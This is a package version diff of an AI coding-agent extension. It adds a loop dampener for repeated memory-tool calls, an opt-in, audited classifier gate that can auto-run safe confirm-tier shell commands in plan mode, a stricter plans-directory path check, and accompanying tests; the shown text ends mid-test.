ceulen 0.15.2 → 0.17.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (57) hide show
  1. package/CHANGELOG.md +69 -0
  2. package/README.md +1 -1
  3. package/extensions/lib/registry.test.ts +5 -2
  4. package/extensions/lib/registry.ts +9 -3
  5. package/extensions/modules/classifier/index.ts +29 -12
  6. package/extensions/modules/classifier/lib/settings.ts +20 -3
  7. package/extensions/modules/classifier/test/classifier.test.ts +12 -4
  8. package/extensions/modules/config/defaultTools.ts +7 -3
  9. package/extensions/modules/config/test/defaultTools.test.ts +16 -0
  10. package/extensions/modules/gh/lib/ops.ts +22 -4
  11. package/extensions/modules/gh/test/gh.test.ts +64 -1
  12. package/extensions/modules/munin/index.ts +93 -6
  13. package/extensions/modules/munin/test/extension.test.ts +124 -0
  14. package/extensions/modules/plan/index.ts +116 -4
  15. package/extensions/modules/plan/lib/settings.ts +5 -7
  16. package/extensions/modules/plan/test/module.test.ts +104 -1
  17. package/extensions/modules/plan/test/settings.test.ts +7 -0
  18. package/extensions/modules/repair/configPanel.ts +3 -1
  19. package/extensions/modules/repair/index.ts +21 -16
  20. package/extensions/modules/repair/lib/read-sqlite.ts +18 -7
  21. package/extensions/modules/repair/test/freshness.test.ts +30 -0
  22. package/extensions/modules/repair/test/hardening.test.ts +46 -1
  23. package/extensions/modules/repair/test/readers.test.ts +11 -5
  24. package/extensions/modules/repair/test/settings.test.ts +7 -2
  25. package/extensions/modules/rtk/configPanel.ts +67 -0
  26. package/extensions/modules/rtk/index.ts +76 -9
  27. package/extensions/modules/rtk/lib/settings.ts +65 -0
  28. package/extensions/modules/rtk/test/configPanel.test.ts +72 -0
  29. package/extensions/modules/rtk/test/index.test.js +120 -2
  30. package/extensions/modules/rules/index.ts +4 -1
  31. package/extensions/modules/rules/lib/rules.ts +6 -3
  32. package/extensions/modules/rules/test/lib.test.ts +24 -0
  33. package/extensions/modules/rules/test/module.test.ts +29 -0
  34. package/extensions/modules/shells/lib/sessions.ts +40 -12
  35. package/extensions/modules/shells/test/sessions.test.ts +60 -2
  36. package/extensions/modules/steering/index.ts +12 -1
  37. package/extensions/modules/steering/test/anchor-plan.test.ts +73 -0
  38. package/extensions/modules/subagent/index.ts +19 -3
  39. package/extensions/modules/subagent/lib/herdr.ts +141 -1
  40. package/extensions/modules/subagent/lib/runner.ts +88 -22
  41. package/extensions/modules/subagent/test/herdr-stalled.test.ts +117 -0
  42. package/extensions/modules/subagent/test/worktree.test.ts +156 -1
  43. package/extensions/modules/todo/index.ts +4 -0
  44. package/extensions/modules/todo/test/todo.test.ts +9 -0
  45. package/extensions/modules/web/index.ts +1 -1
  46. package/extensions/modules/web/lib/a11y.ts +30 -15
  47. package/extensions/modules/web/lib/cdp.ts +11 -2
  48. package/extensions/modules/web/lib/chrome.ts +12 -3
  49. package/extensions/modules/web/lib/content.ts +32 -9
  50. package/extensions/modules/web/lib/search.ts +111 -3
  51. package/extensions/modules/web/test/a11y.test.ts +100 -2
  52. package/extensions/modules/web/test/cdp.test.ts +48 -0
  53. package/extensions/modules/web/test/chrome.test.ts +32 -0
  54. package/extensions/modules/web/test/content.test.ts +92 -0
  55. package/extensions/modules/web/test/search.test.ts +75 -0
  56. package/package.json +1 -1
  57. package/skills/munin/SKILL.md +1 -1
@@ -2,8 +2,8 @@
2
2
  //
3
3
  // Ported from @bacnh85/pi-munin 0.5.12 extensions/index.ts (SDK vendored to
4
4
  // lib/sdk.ts; dotenv dropped — ceulen's bundle env.ts ingests trusted .env).
5
- // Registers the 8 munin_* tools (search/get direct; the other six deferred —
6
- // tool_search loads them),
5
+ // Registers the 8 munin_* tools (search/get/store direct; the other five
6
+ // deferred — tool_search loads them), the consecutive-call loop dampener,
7
7
  // /munin-status, the Munin Memory Protocol injection (only when configured),
8
8
  // the tool_result error sanitizer, and the munin skill (resources_discover).
9
9
  // Config lives at PROJECT level (.pi/settings.json `munin` section) — see
@@ -69,8 +69,8 @@ const MUNIN_PROTOCOL_HEADER = `## Munin Memory Protocol
69
69
 
70
70
  Use Munin to recover and preserve verified project knowledge, not as a task log.
71
71
  If Munin is unavailable, state that briefly when it matters and continue from
72
- repository evidence. munin_search/munin_get are always declared; the other
73
- munin_* tools load on demand with one tool_search call for "munin".
72
+ repository evidence. munin_search/munin_get/munin_store are always declared;
73
+ the other munin_* tools load on demand with one tool_search call for "munin".
74
74
 
75
75
  ### Before acting
76
76
 
@@ -265,7 +265,65 @@ function invokeMuninAction(
265
265
  // generic (same pattern as ux_audit).
266
266
  type AnyTool = ToolDefinition<any, unknown>;
267
267
 
268
- function makeTools(): AnyTool[] {
268
+ /** Read-only munin tools the dampener may suppress (mutators are confirm-gated
269
+ * already; suppress-on-repeat has no legitimacy case there). */
270
+ const DAMPENED_TOOLS = new Set(["munin_search", "munin_get", "munin_list", "munin_recent"]);
271
+
272
+ /** Loop-dampener state (2026-10-12 munin-loop incident: a model intending
273
+ * munin_store emitted the always-declared read neighbors 30/33× and could not
274
+ * stop). Tracks the CONSECUTIVE munin_* run: same-tool run length and the
275
+ * identical-args run length. Reset by a different munin tool, ANY non-munin
276
+ * tool call (a protocol-compliant session interleaves non-munin work between
277
+ * searches — it must never accumulate), session_start, and after guidance
278
+ * fires (a renewed loop re-trips the same threshold). */
279
+ interface DampenerState {
280
+ lastTool: string | undefined;
281
+ runCount: number;
282
+ lastArgsSig: string | undefined;
283
+ identicalRunCount: number;
284
+ }
285
+
286
+ function createDampener() {
287
+ const state: DampenerState = { lastTool: undefined, runCount: 0, lastArgsSig: undefined, identicalRunCount: 0 };
288
+
289
+ function reset(): void {
290
+ state.lastTool = undefined;
291
+ state.runCount = 0;
292
+ state.lastArgsSig = undefined;
293
+ state.identicalRunCount = 0;
294
+ }
295
+
296
+ /** Record one munin tool call; returns guidance (do-not-execute) only for
297
+ * read tools: 3rd consecutive identical-args call, or 6th consecutive
298
+ * same-tool call with any args (incident A's queries degenerated/varied —
299
+ * an identical-args-only rule would have missed it). */
300
+ function dampenCheck(name: string, params: Record<string, unknown>): { text: string; runCount: number; identicalRunCount: number } | undefined {
301
+ if (name !== state.lastTool) {
302
+ state.lastTool = name;
303
+ state.runCount = 1;
304
+ state.identicalRunCount = 0;
305
+ state.lastArgsSig = undefined;
306
+ } else {
307
+ state.runCount += 1;
308
+ }
309
+ const sig = JSON.stringify(Object.entries(params ?? {}).sort());
310
+ state.identicalRunCount = sig === state.lastArgsSig ? state.identicalRunCount + 1 : 1;
311
+ state.lastArgsSig = sig;
312
+
313
+ if (!DAMPENED_TOOLS.has(name)) return undefined;
314
+ const fire = state.identicalRunCount >= 3 || state.runCount >= 6;
315
+ if (!fire) return undefined;
316
+ const text =
317
+ `${name} has been called ${Math.max(state.runCount, state.identicalRunCount)} times in a row — repeating it returns nothing new. ` +
318
+ `If you intend to STORE memory, call munin_store directly (always available). Otherwise state your finding and move on.`;
319
+ reset();
320
+ return { text, runCount: state.runCount, identicalRunCount: state.identicalRunCount };
321
+ }
322
+
323
+ return { state, reset, dampenCheck };
324
+ }
325
+
326
+ function makeTools(dampenCheck: (name: string, params: Record<string, unknown>) => { text: string } | undefined): AnyTool[] {
269
327
  return [
270
328
  {
271
329
  name: "munin_search",
@@ -298,6 +356,8 @@ function makeTools(): AnyTool[] {
298
356
  ),
299
357
  }),
300
358
  async execute(_id, params, _signal, _onUpdate, ctx) {
359
+ const dampened = dampenCheck("munin_search", params as Record<string, unknown>);
360
+ if (dampened) return { content: [{ type: "text" as const, text: dampened.text }], details: { dampened: true, ...dampened } };
301
361
  const { query, topK = 10, tags, tag_mode, since, before, include_total } = params as Record<string, any>;
302
362
  validateSearchQuery(query);
303
363
  const tagMode = validateTagMode(tag_mode);
@@ -330,6 +390,8 @@ function makeTools(): AnyTool[] {
330
390
  key: Type.String({ description: "Key to retrieve." }),
331
391
  }),
332
392
  async execute(_id, params, _signal, _onUpdate, ctx) {
393
+ const dampened = dampenCheck("munin_get", params as Record<string, unknown>);
394
+ if (dampened) return { content: [{ type: "text" as const, text: dampened.text }], details: { dampened: true, ...dampened } };
333
395
  const { key: rawKey } = params as Record<string, any>;
334
396
  const key = validateMemoryKey(rawKey);
335
397
  const result = await withMuninClient(params as Record<string, unknown>, async (client, projectId) => {
@@ -374,6 +436,8 @@ function makeTools(): AnyTool[] {
374
436
  ),
375
437
  }),
376
438
  async execute(_id, params, _signal, _onUpdate, ctx) {
439
+ const dampened = dampenCheck("munin_store", params as Record<string, unknown>);
440
+ if (dampened) return { content: [{ type: "text" as const, text: dampened.text }], details: { dampened: true, ...dampened } };
377
441
  const { key: rawKey, title, content, tags, valid_from, valid_to, pinned } = params as Record<string, any>;
378
442
  const key = validateMemoryKey(rawKey);
379
443
  const tagValidation = validateMemoryTags(tags);
@@ -415,6 +479,8 @@ function makeTools(): AnyTool[] {
415
479
  ),
416
480
  }),
417
481
  async execute(_id, params, _signal, _onUpdate, ctx) {
482
+ const dampened = dampenCheck("munin_list", params as Record<string, unknown>);
483
+ if (dampened) return { content: [{ type: "text" as const, text: dampened.text }], details: { dampened: true, ...dampened } };
418
484
  const { limit = 20, offset = 0 } = params as Record<string, any>;
419
485
  const result = await withMuninClient(params as Record<string, unknown>, async (client, projectId) => {
420
486
  return callMunin(client, projectId, "list", { limit, offset });
@@ -440,6 +506,8 @@ function makeTools(): AnyTool[] {
440
506
  ),
441
507
  }),
442
508
  async execute(_id, params, _signal, _onUpdate, ctx) {
509
+ const dampened = dampenCheck("munin_recent", params as Record<string, unknown>);
510
+ if (dampened) return { content: [{ type: "text" as const, text: dampened.text }], details: { dampened: true, ...dampened } };
443
511
  const { limit = 10 } = params as Record<string, any>;
444
512
  const result = await withMuninClient(params as Record<string, unknown>, async (client, projectId) => {
445
513
  return callMunin(client, projectId, "recent", { limit });
@@ -464,6 +532,8 @@ function makeTools(): AnyTool[] {
464
532
  key: Type.String({ description: "Key to delete." }),
465
533
  }),
466
534
  async execute(_id, params, _signal, _onUpdate, ctx) {
535
+ const dampened = dampenCheck("munin_delete", params as Record<string, unknown>);
536
+ if (dampened) return { content: [{ type: "text" as const, text: dampened.text }], details: { dampened: true, ...dampened } };
467
537
  const { key: rawKey } = params as Record<string, any>;
468
538
  const key = validateMemoryKey(rawKey);
469
539
  const confirmed = await ctx.ui.confirm(
@@ -499,6 +569,8 @@ function makeTools(): AnyTool[] {
499
569
  ...controlSchema,
500
570
  }),
501
571
  async execute(_id, params, _signal, _onUpdate, ctx) {
572
+ const dampened = dampenCheck("munin_capabilities", params as Record<string, unknown>);
573
+ if (dampened) return { content: [{ type: "text" as const, text: dampened.text }], details: { dampened: true, ...dampened } };
502
574
  const result = await withMuninClient(params as Record<string, unknown>, async (client, projectId) => {
503
575
  return callMunin(client, projectId, "capabilities", {});
504
576
  }, ctx);
@@ -523,6 +595,8 @@ function makeTools(): AnyTool[] {
523
595
  target_project_ids: Type.Array(Type.String(), { description: "Target project IDs." }),
524
596
  }),
525
597
  async execute(_id, params, _signal, _onUpdate, ctx) {
598
+ const dampened = dampenCheck("munin_share", params as Record<string, unknown>);
599
+ if (dampened) return { content: [{ type: "text" as const, text: dampened.text }], details: { dampened: true, ...dampened } };
526
600
  const { memory_ids, target_project_ids } = params as Record<string, any>;
527
601
  const confirmed = await ctx.ui.confirm(
528
602
  "Share Munin memories?",
@@ -577,7 +651,20 @@ export default function muninExtension(pi: ExtensionAPI) {
577
651
  skillPaths: [path.join(skillsRoot(), "munin")],
578
652
  }));
579
653
 
580
- for (const tool of makeTools()) {
654
+ const dampener = createDampener();
655
+
656
+ // Any NON-munin tool call breaks the consecutive munin run: a
657
+ // protocol-compliant session interleaves non-munin work between searches and
658
+ // must never accumulate toward the dampener (both 2026-10-12 incidents were
659
+ // munin-only back-to-back sequences — true loops stay caught).
660
+ pi.on("tool_call", async (event) => {
661
+ if (!String(event.toolName || "").startsWith("munin_")) dampener.reset();
662
+ return undefined;
663
+ });
664
+
665
+ pi.on("session_start", () => dampener.reset());
666
+
667
+ for (const tool of makeTools(dampener.dampenCheck)) {
581
668
  pi.registerTool(tool as AnyTool);
582
669
  }
583
670
 
@@ -222,3 +222,127 @@ describe("munin extension", () => {
222
222
  assert.equal(await hook({ toolName: "munin_search", isError: false, content: [{ type: "text", text: "ok" }] }), undefined);
223
223
  });
224
224
  });
225
+
226
+ describe("loop dampener", () => {
227
+ beforeEach(() => {
228
+ process.env.MUNIN_API_KEY = "key";
229
+ process.env.MUNIN_PROJECT = "project";
230
+ });
231
+
232
+ afterEach(() => {
233
+ delete process.env.MUNIN_API_KEY;
234
+ delete process.env.MUNIN_PROJECT;
235
+ delete (MuninClient.prototype as { invoke?: unknown }).invoke;
236
+ });
237
+
238
+ function stubInvoke(calls: string[]): void {
239
+ MuninClient.prototype.invoke = async function (this: unknown, _projectId: string, action: string) {
240
+ calls.push(action);
241
+ return { ok: true } as any;
242
+ } as typeof MuninClient.prototype.invoke;
243
+ }
244
+
245
+ it("3rd identical munin_get returns guidance without executing", async () => {
246
+ const { tools, ctx } = harness();
247
+ const calls: string[] = [];
248
+ stubInvoke(calls);
249
+ for (let i = 0; i < 2; i++) {
250
+ const r = await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
251
+ assert.equal((r.details as { dampened?: boolean }).dampened ?? false, false);
252
+ }
253
+ assert.equal(calls.length, 2);
254
+ const third = await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
255
+ assert.equal(calls.length, 2, "3rd identical call must not reach the SDK");
256
+ assert.match((third.content[0] as { text: string }).text, /call munin_store directly/);
257
+ assert.equal((third.details as { dampened: boolean }).dampened, true);
258
+ });
259
+
260
+ it("6th consecutive munin_search with varying queries returns guidance", async () => {
261
+ const { tools, ctx } = harness();
262
+ const calls: string[] = [];
263
+ stubInvoke(calls);
264
+ for (let i = 0; i < 5; i++) {
265
+ const r = await tools.munin_search.execute("id", { query: `query-${i}` }, undefined, undefined, ctx);
266
+ assert.equal((r.details as { dampened?: boolean }).dampened ?? false, false);
267
+ }
268
+ assert.equal(calls.length, 5);
269
+ const sixth = await tools.munin_search.execute("id", { query: "query-5" }, undefined, undefined, ctx);
270
+ assert.equal(calls.length, 5, "6th consecutive same-tool call must not reach the SDK");
271
+ assert.equal((sixth.details as { dampened: boolean }).dampened, true);
272
+ });
273
+
274
+ it("any non-munin tool call resets the run counter (protocol-compliant sessions never dampen)", async () => {
275
+ const { tools, ctx, handlers } = harness();
276
+ const calls: string[] = [];
277
+ stubInvoke(calls);
278
+ const nonMunin = handlers.tool_call[0];
279
+ for (let i = 0; i < 5; i++) {
280
+ await tools.munin_search.execute("id", { query: `q-${i}` }, undefined, undefined, ctx);
281
+ await nonMunin({ toolName: "read", input: {} });
282
+ }
283
+ assert.equal(calls.length, 5);
284
+ // All 10 searches executed — the interleaved non-munin work resets the run.
285
+ for (let i = 0; i < 5; i++) {
286
+ const r = await tools.munin_search.execute("id", { query: `p-${i}` }, undefined, undefined, ctx);
287
+ assert.equal((r.details as { dampened?: boolean }).dampened ?? false, false, `search ${i + 6} must execute`);
288
+ await nonMunin({ toolName: "read", input: {} });
289
+ }
290
+ assert.equal(calls.length, 10);
291
+ });
292
+
293
+ it("a different munin tool resets the run counter", async () => {
294
+ const { tools, ctx } = harness();
295
+ const calls: string[] = [];
296
+ stubInvoke(calls);
297
+ for (let i = 0; i < 5; i++) {
298
+ await tools.munin_search.execute("id", { query: `q-${i}` }, undefined, undefined, ctx);
299
+ }
300
+ await tools.munin_list.execute("id", {}, undefined, undefined, ctx);
301
+ assert.equal(calls.length, 6);
302
+ const r = await tools.munin_search.execute("id", { query: "fresh" }, undefined, undefined, ctx);
303
+ assert.equal((r.details as { dampened?: boolean }).dampened ?? false, false);
304
+ assert.equal(calls.length, 7);
305
+ });
306
+
307
+ it("guidance resets state — the next identical call executes again", async () => {
308
+ const { tools, ctx } = harness();
309
+ const calls: string[] = [];
310
+ stubInvoke(calls);
311
+ await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
312
+ await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
313
+ const third = await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
314
+ assert.equal((third.details as { dampened: boolean }).dampened, true);
315
+ assert.equal(calls.length, 2);
316
+ const fourth = await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
317
+ assert.equal((fourth.details as { dampened?: boolean }).dampened ?? false, false);
318
+ assert.equal(calls.length, 3);
319
+ });
320
+
321
+ it("munin_store never returns dampener guidance", async () => {
322
+ const { tools, ctx } = harness();
323
+ const calls: string[] = [];
324
+ stubInvoke(calls);
325
+ for (let i = 0; i < 3; i++) {
326
+ const r = await tools.munin_store.execute("id", {
327
+ key: "fact/repeat-key",
328
+ title: "Title",
329
+ content: "Content",
330
+ tags: "type:fact,domain:memory",
331
+ }, undefined, undefined, ctx);
332
+ assert.equal((r.details as { dampened?: boolean }).dampened ?? false, false);
333
+ }
334
+ assert.equal(calls.length, 3);
335
+ });
336
+
337
+ it("session_start resets the dampener", async () => {
338
+ const { tools, ctx, handlers } = harness();
339
+ const calls: string[] = [];
340
+ stubInvoke(calls);
341
+ await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
342
+ await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
343
+ await handlers.session_start[0]({ reason: "startup" }, ctx);
344
+ const r = await tools.munin_get.execute("id", { key: "bug-fix/some-key" }, undefined, undefined, ctx);
345
+ assert.equal((r.details as { dampened?: boolean }).dampened ?? false, false);
346
+ assert.equal(calls.length, 3);
347
+ });
348
+ });
@@ -52,6 +52,8 @@ import {
52
52
  type ThinkingLevel,
53
53
  } from "./lib/settings.js";
54
54
  import { getPlanRegistry, planConfig, setPlanBridge, setPlanRegistry, type PlanBridge } from "./configPanel.js";
55
+ import { askJev, audit, getLastTask, isRisky, noul, segments } from "../classifier/index.js";
56
+ import { getClassifierSettings } from "../classifier/lib/settings.js";
55
57
  // Sandbox semantics live in ONE place: the subagent module resolves agent
56
58
  // frontmatter (user + project + bundled). discoverAgents is a pure fs loader,
57
59
  // independent of whether the subagent module itself is enabled.
@@ -63,6 +65,103 @@ export const PLAN_ENTRY_TYPE = "ceulen-plan";
63
65
  export const PLAN_TOOL = "write_plan";
64
66
  export const ASK_USER_QUESTION_TOOL = "ask_user_question";
65
67
 
68
+ // ── planGate (classifier.planGate) ──────────────────────────────────────────
69
+ // The classifier can move a CONFIRM-tier bash command to auto-run when Jev
70
+ // says it clearly doesn't mutate and serves the task. It can never do the
71
+ // reverse: write stays a hard block, read stays auto. Off by default — run
72
+ // `planGate.observe` first and read the ceulen-plan-gate lines in
73
+ // classifier.log before flipping enabled.
74
+
75
+ // ponytail: value of classifier's CLASSIFIER_HOOK_BUDGET_MS — the constant is
76
+ // module-private and importing it would be module state, not a value.
77
+ const PLAN_GATE_BUDGET_MS = 2_500;
78
+
79
+ interface PlanGateVerdict {
80
+ mutates: number;
81
+ reversible: number;
82
+ serves: number;
83
+ safe: boolean;
84
+ }
85
+
86
+ /** Ask Jev about a confirm-tier command. Returns undefined on any failure —
87
+ * the confirm tier is the unchanged fallback. Exported for tests. */
88
+ export async function planGateVerdict(command: string, ctx: ExtensionContext): Promise<PlanGateVerdict | undefined> {
89
+ const task = getLastTask();
90
+ const state: Record<string, unknown> = { command, project_path: ctx.cwd, ...(task ? { task } : {}) };
91
+ const questions: Record<string, unknown> = {
92
+ mutates_filesystem: {
93
+ type: "bool",
94
+ instructions: "Does this command modify files or state outside the shell's own process?",
95
+ criteria: { yes: "Writes, deletes, moves, installs, or otherwise changes persistent state.", no: "Purely observational — reads, lists, searches, prints." },
96
+ },
97
+ reversible: {
98
+ type: "bool",
99
+ instructions: "If it DID have an effect, could that effect be undone or discarded without lasting harm?",
100
+ },
101
+ ...(task
102
+ ? {
103
+ serves_task: {
104
+ type: "bool",
105
+ instructions: "Does this command plausibly serve the task the user asked for?",
106
+ criteria: { yes: "A reasonable step toward the user's stated task.", no: "Unrelated to the task, or only a step the task never needed." },
107
+ },
108
+ }
109
+ : {}),
110
+ };
111
+ const started = Date.now();
112
+ try {
113
+ const budget = AbortSignal.timeout(PLAN_GATE_BUDGET_MS);
114
+ const answers = (await Promise.race([
115
+ askJev(ctx, state, questions, budget),
116
+ new Promise<never>((_, reject) => budget.addEventListener("abort", () => reject(new Error("plan gate budget exceeded")), { once: true })),
117
+ ])) as Record<string, unknown>;
118
+ const mutates = noul(answers, "mutates_filesystem");
119
+ const reversible = noul(answers, "reversible");
120
+ const serves = task ? noul(answers, "serves_task") : reversible; // no task → serve check degenerates
121
+ const { planGate } = getClassifierSettings();
122
+ const safe = Number.isFinite(mutates) && mutates < 0.2 && Number.isFinite(reversible) && reversible >= planGate.threshold && serves >= planGate.threshold;
123
+ await audit({
124
+ tag: "ceulen-plan-gate",
125
+ command,
126
+ mutates_filesystem: Number.isFinite(mutates) ? mutates : null,
127
+ reversible: Number.isFinite(reversible) ? reversible : null,
128
+ serves_task: Number.isFinite(serves) ? serves : null,
129
+ safe,
130
+ observe: planGate.observe,
131
+ enforcing: planGate.enabled,
132
+ ms: Date.now() - started,
133
+ });
134
+ return { mutates, reversible, serves, safe };
135
+ } catch (e) {
136
+ await audit({ tag: "ceulen-plan-gate", command, error: String(e instanceof Error ? e.message : e), ms: Date.now() - started });
137
+ return undefined;
138
+ }
139
+ }
140
+
141
+ /** Returns true when the gate auto-runs the command (only possible when
142
+ * planGate.enabled); undefined → fall through to the normal confirm tier. */
143
+ async function planGateAutoRun(command: string, ctx: ExtensionContext): Promise<boolean | undefined> {
144
+ const { planGate } = getClassifierSettings();
145
+ if (!planGate.enabled && !planGate.observe) return undefined;
146
+ // Static risk list first — credential/irreversible shapes never reach Jev
147
+ // and never leave the normal confirm tier. The whole command AND its
148
+ // segments: the pipe-to-shell regexes need the unsplit command, while
149
+ // segments expose risky commands hidden after && / ;.
150
+ if (isRisky(command) || segments(command).some(isRisky)) return undefined;
151
+ const verdict = await planGateVerdict(command, ctx);
152
+ if (verdict?.safe && planGate.enabled) {
153
+ if (ctx.hasUI) {
154
+ try {
155
+ ctx.ui.notify(`plan gate: auto-allowed (${command.slice(0, 80)})`, "info");
156
+ } catch {
157
+ /* non-tui */
158
+ }
159
+ }
160
+ return true;
161
+ }
162
+ return undefined;
163
+ }
164
+
66
165
  /** Persisted plan-mode session state (branch-scoped via appendEntry). */
67
166
  export interface PlanState {
68
167
  enabled: boolean;
@@ -492,11 +591,20 @@ export default function planModule(pi: ExtensionAPI): void {
492
591
  }
493
592
 
494
593
  /** Approve + execute in the current session. Shared by /plan-approve and
495
- * the auto-approve settle path (no command context needed). */
594
+ * the auto-approve settle path (no command context needed). A failure
595
+ * (e.g. materializePlan hitting an unwritable plans dir) must not swallow
596
+ * the approval: the ready flag is restored so /plan-approve can retry. */
496
597
  async function executeInCurrentSession(ctx: ExtensionContext): Promise<void> {
497
- await materializePlan();
498
- const relativePlan = await exitPlanForExecution(ctx);
499
- pi.sendUserMessage(buildExecutionPrompt(relativePlan, "current"), { deliverAs: "followUp" });
598
+ try {
599
+ await materializePlan();
600
+ const relativePlan = await exitPlanForExecution(ctx);
601
+ pi.sendUserMessage(buildExecutionPrompt(relativePlan, "current"), { deliverAs: "followUp" });
602
+ } catch (error) {
603
+ planReadyForReview = true;
604
+ persistState();
605
+ const reason = error instanceof Error ? error.message : String(error);
606
+ ctx.ui.notify(`Auto-approve failed: ${reason} — run /plan-approve to retry.`, "error");
607
+ }
500
608
  }
501
609
 
502
610
  /** Approve + hand the plan to a fresh session (command context only:
@@ -831,6 +939,10 @@ export default function planModule(pi: ExtensionAPI): void {
831
939
  reason: `plan mode: writing to the filesystem is not allowed while planning. "${command}" may modify files. Exit plan mode to run this command, or use ${PLAN_TOOL} to add file content to the plan.`,
832
940
  };
833
941
  }
942
+ // planGate (classifier.planGate, off by default): may AUTO-RUN a safe
943
+ // confirm-tier command. Any other answer → the confirm tier below,
944
+ // unchanged. Never reached for read (already auto) or write (hard block).
945
+ if (await planGateAutoRun(command, ctx)) return;
834
946
  if (!ctx.hasUI) return { block: true, reason: `plan mode: this command requires confirmation but UI is not available.\nCommand: ${command}` };
835
947
  const firstToken = command.trim().split(/\s+/)[0] || "bash";
836
948
  const allowKey = INTERPRETER_TOKENS.has(firstToken) ? `bash-cmd:${command.trim()}` : `bash:${firstToken}`;
@@ -148,16 +148,14 @@ export function planPath(cwd: string, title: string, plansDir: string = DEFAULT_
148
148
  return path.join(cwd, expandPlansDir(plansDir), `${stamp}-${slug}.md`);
149
149
  }
150
150
 
151
- /** True when `resolved` is a file inside the configured plans dir; `{yyyymm}`
152
- * matches any single path segment so monthly subfolders stay inside. */
151
+ /** True when `resolved` is a file inside the configured plans dir; a
152
+ * `{yyyymm}` pattern segment must match an actual 6-digit month segment
153
+ * (segment-wise — a bare wildcard splice would let ANY segment stand in). */
153
154
  export function isInsidePlansDir(resolved: string, plansDir: string, cwd: string): boolean {
154
155
  const pattern = path.resolve(cwd, plansDir).split(/[\\/]/).filter(Boolean);
155
156
  const actual = path.resolve(cwd, resolved).split(/[\\/]/).filter(Boolean);
156
- const wildcard = pattern.indexOf("{yyyymm}");
157
- const root = wildcard === -1 ? pattern : pattern.filter((seg) => seg !== "{yyyymm}");
158
- if (actual.length <= root.length) return false;
159
- if (wildcard !== -1) actual.splice(wildcard, 1);
160
- return root.every((seg, i) => actual[i] === seg);
157
+ if (actual.length <= pattern.length) return false;
158
+ return pattern.every((seg, i) => (seg === "{yyyymm}" ? /^\d{6}$/.test(actual[i] ?? "") : actual[i] === seg));
161
159
  }
162
160
 
163
161
  /** Relative path with forward slashes (prompt text). */
@@ -2,7 +2,7 @@
2
2
  // Handlers fire through the fake-pi harness (module seams, no real session).
3
3
  import assert from "node:assert/strict";
4
4
  import { readdirSync } from "node:fs";
5
- import { existsSync, mkdtempSync, readFileSync, rmSync } from "node:fs";
5
+ import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
6
6
  import { tmpdir } from "node:os";
7
7
  import { join } from "node:path";
8
8
  import { after, beforeEach, describe, it } from "node:test";
@@ -111,6 +111,92 @@ describe("plan mode — tool gating", () => {
111
111
  });
112
112
  });
113
113
 
114
+ describe("plan mode — classifier planGate", () => {
115
+ /** Fake model registry whose classify() answers from `answers`. */
116
+ function gateRegistry(answers: Record<string, unknown>, log: string[] = []) {
117
+ return {
118
+ findOfType: () => ({ id: "combo/jev", provider: "router" }),
119
+ getModelsOfType: () => [{ id: "combo/jev", provider: "router" }],
120
+ getAvailableOfType: async () => [{ id: "combo/jev", provider: "router" }],
121
+ refresh: async () => {},
122
+ classify: async (_model: unknown, request: { questions: Record<string, unknown> }) => {
123
+ log.push(Object.keys(request.questions).sort().join(","));
124
+ return { stopReason: "stop", answers };
125
+ },
126
+ };
127
+ }
128
+ const safeAnswers = {
129
+ mutates_filesystem: { type: "bool", probability: 0.02 },
130
+ reversible: { type: "bool", probability: 0.97 },
131
+ serves_task: { type: "bool", probability: 0.9 },
132
+ };
133
+
134
+ it("off by default: confirm tier unchanged, Jev never asked", async () => {
135
+ const h = await start();
136
+ await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
137
+ const log: string[] = [];
138
+ const ctx = h.ctx({ cwd: REPO, modelRegistry: gateRegistry(safeAnswers, log), ui: { ...h.ctx().ui, select: async () => "Allow once" } });
139
+ assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "npm test" } }, ctx), undefined);
140
+ assert.deepEqual(log, [], "gate off → no Jev ask");
141
+ });
142
+
143
+ it("observe: Jev is asked, verdict audited, confirm tier still runs", async () => {
144
+ const h = await start();
145
+ await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
146
+ writeFileSync(join(agent.dir, "settings.json"), JSON.stringify({ classifier: { model: "combo/jev", planGate: { observe: true } } }));
147
+ const log: string[] = [];
148
+ const ctx = h.ctx({ cwd: REPO, modelRegistry: gateRegistry(safeAnswers, log), ui: { ...h.ctx().ui, select: async () => "Allow once" } });
149
+ assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "npm test" } }, ctx), undefined);
150
+ // No user message fired in this harness (lastTask lives in the classifier
151
+ // module) → the serves_task question is omitted, serves degenerates to
152
+ // the reversible verdict — the designed no-task behavior.
153
+ assert.deepEqual(log, ["mutates_filesystem,reversible"]);
154
+ const logText = readFileSync(join(agent.dir, "classifier.log"), "utf8");
155
+ assert.ok(logText.includes('"tag":"ceulen-plan-gate"'), "audit line written");
156
+ assert.ok(logText.includes('"safe":true'));
157
+ });
158
+
159
+ it("enabled + safe verdict → auto-runs (no prompt); write stays hard-blocked; risky falls to the confirm tier", async () => {
160
+ const h = await start();
161
+ await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
162
+ writeFileSync(join(agent.dir, "settings.json"), JSON.stringify({ classifier: { model: "combo/jev", planGate: { enabled: true } } }));
163
+ const log: string[] = [];
164
+ const noPrompt = h.ctx({ cwd: REPO, modelRegistry: gateRegistry(safeAnswers, log), ui: { ...h.ctx().ui, select: async () => { throw new Error("prompted — gate should have auto-run"); } } });
165
+ assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "npm test" } }, noPrompt), undefined);
166
+ assert.deepEqual(log, ["mutates_filesystem,reversible"]);
167
+
168
+ // write disposition never reaches the gate.
169
+ const write = await h.fire("tool_call", { toolName: "bash", input: { command: "echo x > f.txt" } }, noPrompt);
170
